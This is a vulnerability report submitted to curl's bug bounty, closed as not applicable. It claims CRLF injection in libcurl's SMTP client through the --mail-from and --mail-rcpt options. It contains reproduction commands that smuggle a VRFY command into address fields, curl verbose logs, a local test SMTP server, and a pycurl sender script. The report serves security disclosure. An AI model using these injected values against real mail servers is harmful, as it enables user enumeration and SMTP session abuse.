CRLF injection in libcurl's SMTP client via --mail-from and --mail-rcpt allows SMTP command smuggling
Medium
C
curl
Submitted None
Actions:
Reported by
skrcprst
Vulnerability Details
Technical details and impact analysis
## Summary:
libcurl's SMTP client is vulnerable to CRLF injection via the `--mail-from` and `--mail-rcpt` parameters.
An attacker can inject newline characters to smuggle SMTP commands like `VRFY`, potentially enabling user enumeration or protocol abuse.
While curl may fail after injection, the injected commands are executed by the SMTP server, confirming the vulnerability.
### AI statement
Yes, I have used AI to find the vulnerability.
## Affected version
I have tested on Ubuntu 24.04.2 with:
- curl 8.5.0 (system)
- curl 8.15.0-DEV (my local build)
- PycURL/7.45.6 with libcurl/8.12.1-DEV
The full system curl version:
```shell
$ curl -V
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
```
The full local build version:
```shell
$ curl -V
curl 8.15.0-DEV (Linux) libcurl/8.15.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 libssh2/1.11.0 nghttp2/1.59.0 OpenLDAP/2.6.7
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd
```
## Steps To Reproduce:
1. run a test SMTP server; the one I used is listed below named `smtp_server`, ran as `./smtp_server` and listened at `localhost:1025`
1. send an email with normal email addresses, something like: `curl -vf --url "smtp://localhost:1025/" --mail-from "[email protected]" --mail-rcpt "[email protected]" --upload-file mail.txt` where `mail.txt` is a text file -- curl finishes normally
1. now send an email with injected CRLF's, for example in the "from" field, something like: `curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-rcpt "[email protected]" --upload-file mail.txt` -- curl fails with `DATA failed: 250` as the server sent `250 OK ...` to the injected `VRFY` command instead of expected `354`; this is demonstrating a CRLF injection took place
I believe the problem arises since `"MAIL FROM:%s%s%s%s%s%s"` in `smtp_perform_mail` in `smtp.c` concatenates mail fields without sanitization (and `smtp_parse_address` does not sanitize "\r\n" either).
## Supporting Material/References:
Normal mail send:
```shell
$ curl -vf --url "smtp://localhost:1025/" --mail-from "[email protected]" --mail-rcpt "[email protected]" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<[email protected]> SIZE=4
< 250 OK
> RCPT TO:<[email protected]>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
} [4 bytes data]
* We are completely uploaded and fine
< 250 Message accepted for delivery
* Connection #0 to host localhost left intact
```
Sending with CRLF in "from" field:
```shell
$ cat mail.txt
Huh?
$ curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-rcpt "[email protected]" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<[email protected]
> VRFY [email protected]
> SIZE=4
< 250 OK
> RCPT TO:<[email protected]>
< 250 OK: John X Doe <[email protected]>
> DATA
< 250 OK
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250
```
Sending with CRLF in "rcpt" field:
```shell
$ curl -vf --url "smtp://localhost:1025/" --mail-rcpt "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-from "[email protected]" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<[email protected]> SIZE=4
< 250 OK
> RCPT TO:<[email protected]
> VRFY [email protected]
>
< 250 OK
> DATA
< 250 OK: John X Doe <[email protected]>
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250
error: Recipe `test-bad-rcpt` failed on line 13 with exit code 55
```
Sending with CRLF using `pycURL`:
```shell
$ ./send-with-pycurl
2025-07-03 15:08:38.173 | INFO | __main__:<module>:37 - pycurl version: PycURL/7.45.6 libcurl/8.12.1-DEV OpenSSL/3.4.1 zlib/1.3 brotli/1.1.0 libssh2/1.11.1_DEV nghttp2/1.64.0
2025-07-03 15:08:38.173 | INFO | __main__:send:22 - sending email from '[email protected]\r\nVRFY [email protected]' to '[email protected]'
2025-07-03 15:08:38.176 | ERROR | __main__:send:32 - exception: (55, 'DATA failed: 250')
```
Server logs (for the illustration):
```shell
$ ./smtp_server
SMTP server running at localhost:1025 (Ctrl+C to stop)
2025-07-03 15:08:23.449 | INFO | __main__:handle_blocked:24 - Message received -- from: [email protected], to: ['[email protected]']
2025-07-03 15:08:23.449 | INFO | __main__:handle_blocked:25 - blocked:>>>Huh?
<<<
2025-07-03 15:08:31.116 | INFO | __main__:handle_VRFY:29 - Message received -- from: [email protected], to: []
2025-07-03 15:08:31.116 | INFO | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <[email protected]>'
2025-07-03 15:08:38.176 | INFO | __main__:handle_VRFY:29 - Message received -- from: [email protected], to: []
2025-07-03 15:08:38.176 | INFO | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <[email protected]>'
```
`smtp_server` script:
```python
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
# "loguru",
# "aiosmtpd",
# ]
# ///
from aiosmtpd.controller import Controller
from aiosmtpd.smtp import SMTP
from loguru import logger
class MessageHandler:
async def handle_DATA(self, server, session, envelope):
logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
logger.info("blocked:>>>{}<<<", envelope.content.decode("utf8", errors="replace"))
return "250 Message accepted for delivery"
async def handle_VRFY(self, server, session, envelope, address, *args, **kwargs):
logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
USERS = {
"[email protected]": "John X Doe",
}
if full_name := USERS.get(address.lower()):
response = f"250 OK: {full_name} <{address}>"
else:
response = f"550 No such user {address}"
logger.info("Sending back {!r}", response)
return response
class MyController(Controller):
def factory(self):
"""Subclasses can override this to customize the handler/server creation."""
kwargs = {**self.SMTP_kwargs, "hostname": "test-smtpd"}
return SMTP(self.handler, **kwargs)
if __name__ == "__main__":
handler = MessageHandler()
controller = MyController(handler, hostname="127.0.0.1", port=1025)
controller.start()
print("SMTP server running at localhost:1025 (Ctrl+C to stop)")
import time
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
controller.stop()
```
`send-with-pycurl` script:
```python
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
# "loguru",
# "pycurl",
# ]
# ///
import io
import pycurl
from loguru import logger
def send(sender, recipient):
msg = f"""\
From: {sender}
To: {recipient}
Subject: Hello from pycurl
This is the email body.
"""
logger.info("sending email from {!r} to {!r}", sender, recipient)
c = pycurl.Curl()
c.setopt(pycurl.URL, "smtp://localhost:1025")
c.setopt(pycurl.MAIL_FROM, sender)
c.setopt(pycurl.MAIL_RCPT, [recipient])
c.setopt(pycurl.UPLOAD, 1)
c.setopt(pycurl.READDATA, io.BytesIO(msg.encode()))
try:
c.perform()
except Exception as exc:
logger.error("exception: {}", exc)
c.close()
if __name__ == "__main__":
logger.info("pycurl version: {}", pycurl.version)
send("[email protected]\r\nVRFY [email protected]", "[email protected]")
```
## Impact
## Summary:
This vulnerability allows attackers to inject arbitrary SMTP commands, like VRFY, by crafting malicious email addresses. It can lead to user enumeration, bypass of client-side restrictions, or disruption of the SMTP session, especially in automated or proxy-based email workflows.
Report Details
Additional information and metadata
State
Closed
Substate
Not-Applicable
Submitted
Weakness
CRLF Injection